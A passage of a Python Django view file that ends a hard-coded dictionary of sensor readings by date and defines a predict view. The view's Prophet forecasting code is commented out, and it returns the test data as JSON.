12:00:00': -0.5610260781429112, '2014-03-06 12:00:00': -0.66884732959063, '2014-03-08 12:00:00': -0.533960646472841, '2014-03-09 12:00:00': -0.5877961406505322, '2014-03-05 12:00:00': -0.7012238508069267, '2014-03-04 12:00:00': -0.7718349367193457, '2014-03-03 12:00:00': -0.7621935015356391}, 109: {'2014-03-07 12:00:00': -0.8010427366046018, '2014-03-06 12:00:00': -0.9148450603273686, '2014-03-08 12:00:00': -0.7773785389048666, '2014-03-09 12:00:00': -0.8733856389332111, '2014-03-05 12:00:00': -0.957441327495831, '2014-03-04 12:00:00': -0.9776535651811284, '2014-03-03 12:00:00': -0.9648310836519325}, 110: {'2014-03-07 12:00:00': -0.718961548040229, '2014-03-06 12:00:00': -0.7508079260985062, '2014-03-08 12:00:00': -0.6782747659911649, '2014-03-09 12:00:00': -0.6890674496186321, '2014-03-05 12:00:00': -0.7872691845896785, '2014-03-04 12:00:00': -0.8607746687931026, '2014-03-03 12:00:00': -0.8501142561051339}, 111: {'2014-03-07 12:00:00': -0.8496908232126043, '2014-03-06 12:00:00': -0.8696926402970174, '2014-03-08 12:00:00': -0.7663727491324865, '2014-03-09 12:00:00': -0.6430455632254302, '2014-03-05 12:00:00': -0.9172715293152394, '2014-03-04 12:00:00': -1.042282159052625, '2014-03-03 12:00:00': -1.0422588675082292}, 112: {'2014-03-07 12:00:00': -0.785794455536578, '2014-03-06 12:00:00': -0.8090893359911652, '2014-03-08 12:00:00': -0.6924777364417269, '2014-03-09 12:00:00': -0.5624847517855038, '2014-03-05 12:00:00': -0.8644613927368486, '2014-03-04 12:00:00': -0.9344363783666516, '2014-03-03 12:00:00': -0.9343966650524885}, 113: {'2014-03-07 12:00:00': -0.6944199404106433, '2014-03-06 12:00:00': -0.7610796369940018, '2014-03-08 12:00:00': -0.604427496111255, '2014-03-09 12:00:00': -0.4744360556862908, '2014-03-05 12:00:00': -0.8133073038046794, '2014-03-04 12:00:00': -0.9132915688794969, '2014-03-03 12:00:00': -0.9132843840133228}, 114: {'2014-03-07 12:00:00': -0.796261945969981, '2014-03-06 12:00:00': -0.819621636255575, '2014-03-08 12:00:00': -0.7228209944527726, '2014-03-09 12:00:00': -0.5392014238849501, '2014-03-05 12:00:00': -0.8676907185159071, '2014-03-04 12:00:00': -0.9578208733508333, '2014-03-03 12:00:00': -0.9578098471612002}, 115: {'2014-03-07 12:00:00': -0.7847010915545979, '2014-03-06 12:00:00': -0.8113306126874311, '2014-03-08 12:00:00': -0.698057610569589, '2014-03-09 12:00:00': -0.4980505454321248, '2014-03-05 12:00:00': -0.8686203963890118, '2014-03-04 12:00:00': -0.9485948263137156, '2014-03-03 12:00:00': -0.9485568766938955}, 116: {'2014-03-07 12:00:00': -0.7861369837966065, '2014-03-06 12:00:00': -0.8061301445732948, '2014-03-08 12:00:00': -0.6828163859002748, '2014-03-09 12:00:00': -0.4895021559214109, '2014-03-05 12:00:00': -0.862079178024816, '2014-03-04 12:00:00': -0.9720565583545961, '2014-03-03 12:00:00': -0.9720489596642032}, 117: {'2014-03-07 12:00:00': -0.7568089287994229, '2014-03-06 12:00:00': -0.83679627876044, '2014-03-08 12:00:00': -0.6501574319338538, '2014-03-09 12:00:00': -0.5201748065249561, '2014-03-05 12:00:00': -0.9025676902260925, '2014-03-04 12:00:00': -0.9975452480934477, '2014-03-03 12:00:00': -0.9975379702639766}, 118: {'2014-03-07 12:00:00': -0.7650160829763369, '2014-03-06 12:00:00': -0.855080016030069, '2014-03-08 12:00:00': -0.6282435153901746, '2014-03-09 12:00:00': -0.4814612492023555, '2014-03-05 12:00:00': -0.9290194989203092, '2014-03-04 12:00:00': -1.0240918797702916, '2014-03-03 12:00:00': -1.0240920028037588}, 119: {'2014-03-07 12:00:00': -0.7232482688639832, '2014-03-06 12:00:00': -0.8365230525124815, '2014-03-08 12:00:00': -0.5833137253599714, '2014-03-09 12:00:00': -0.44337613332529946, '2014-03-05 12:00:00': -0.9198824354734073, '2014-03-04 12:00:00': -0.9998369301253762, '2014-03-03 12:00:00': -0.9998086716352285}, 120: {'2014-03-07 12:00:00': -0.7524949779491814, '2014-03-06 12:00:00': -0.8524910255767493, '2014-03-08 12:00:00': -0.5925045336437524, '2014-03-09 12:00:00': -0.4425083377338669, '2014-03-05 12:00:00': -0.9367503625979765, '2014-03-04 12:00:00': -0.986764123770921, '2014-03-03 12:00:00': -0.9867865170209971}, 121: {'2014-03-07 12:00:00': -0.7524184344980247, '2014-03-06 12:00:00': -0.8690855184284105, '2014-03-08 12:00:00': -0.5623912735819394, '2014-03-09 12:00:00': -0.4757224844467808, '2014-03-05 12:00:00': -0.9643753304454576, '2014-03-04 12:00:00': -1.0043782486115522, '2014-03-03 12:00:00': -1.0043557851614746}, 122: {'2014-03-07 12:00:00': -0.8046197261838617, '2014-03-06 12:00:00': -0.9412931546167175, '2014-03-08 12:00:00': -0.6212763867233788, '2014-03-09 12:00:00': -0.5579391652107071, '2014-03-05 12:00:00': -1.0409939423460022, '2014-03-04 12:00:00': -1.0659923432846614, '2014-03-03 12:00:00': -1.0659876907834054}, 123: {'2014-03-07 12:00:00': -0.7836986371898685, '2014-03-06 12:00:00': -0.9436043730988743, '2014-03-08 12:00:00': -0.6137945996607728, '2014-03-09 12:00:00': -0.5804322573472035, '2014-03-05 12:00:00': -1.0471477756722996, '2014-03-04 12:00:00': -1.0172448118387063, '2014-03-03 12:00:00': -1.017309273248691}, 124: {'2014-03-07 12:00:00': -0.6950214182340423, '2014-03-06 12:00:00': -0.8650169170840974, '2014-03-08 12:00:00': -0.5183616063772665, '2014-03-09 12:00:00': -0.47508129496456775, '2014-03-05 12:00:00': -0.9814311907021701, '2014-03-04 12:00:00': -0.9563684480747451, '2014-03-03 12:00:00': -0.9563179463873037}, 125: {'2014-03-07 12:00:00': -0.7323402217710943, '2014-03-06 12:00:00': -0.8890411371364562, '2014-03-08 12:00:00': -0.5423102076730464, '2014-03-09 12:00:00': -0.4955985851387619, '2014-03-05 12:00:00': -1.00427774657555, '2014-03-04 12:00:00': -0.9642710510038891, '2014-03-03 12:00:00': -0.964257634225308}, 126: {'2014-03-07 12:00:00': -0.5767385502168696, '2014-03-06 12:00:00': -0.7599934980716333, '2014-03-08 12:00:00': -0.40016019155684396, '2014-03-09 12:00:00': -0.3969296041494819, '2014-03-05 12:00:00': -0.8701110507310228, '2014-03-04 12:00:00': -0.8450321541564761, '2014-03-03 12:00:00': -0.8449605237962361}} def predict(request): res = {} if request.POST: # tsd = TimeSeriesData(request.POST['modelName'], request.POST['date'], request.POST['sensorId']).getData() # for i in tsd: # data = tsd[i] # m = Prophet() # m.fit(data) # future = m.make_future_dataframe(periods=7) # forecast = m.predict(future)[["ds","yhat"]][-7:] # d = {} # for index, row in forecast.iterrows(): # d[datetime.datetime.strftime(row['ds'], "%Y-%m-%d %H:%M:%S")] = row['yhat'] # res[i] = d res = TEST_DATA df = pd.DataFrame(res).T d = {} for i in range(len(df.columns)): d[i] = df.iloc[:, [i]].values.flatten().tolist() # res['modelName'] = request.POST['modelName'] # return HttpRequest(simplejson.dumps(ctx)) # return render(request, 'hello.html', ctx) # return HttpRequest(json.dumps(ctx), content_type="application/json") return JsonResponse(d)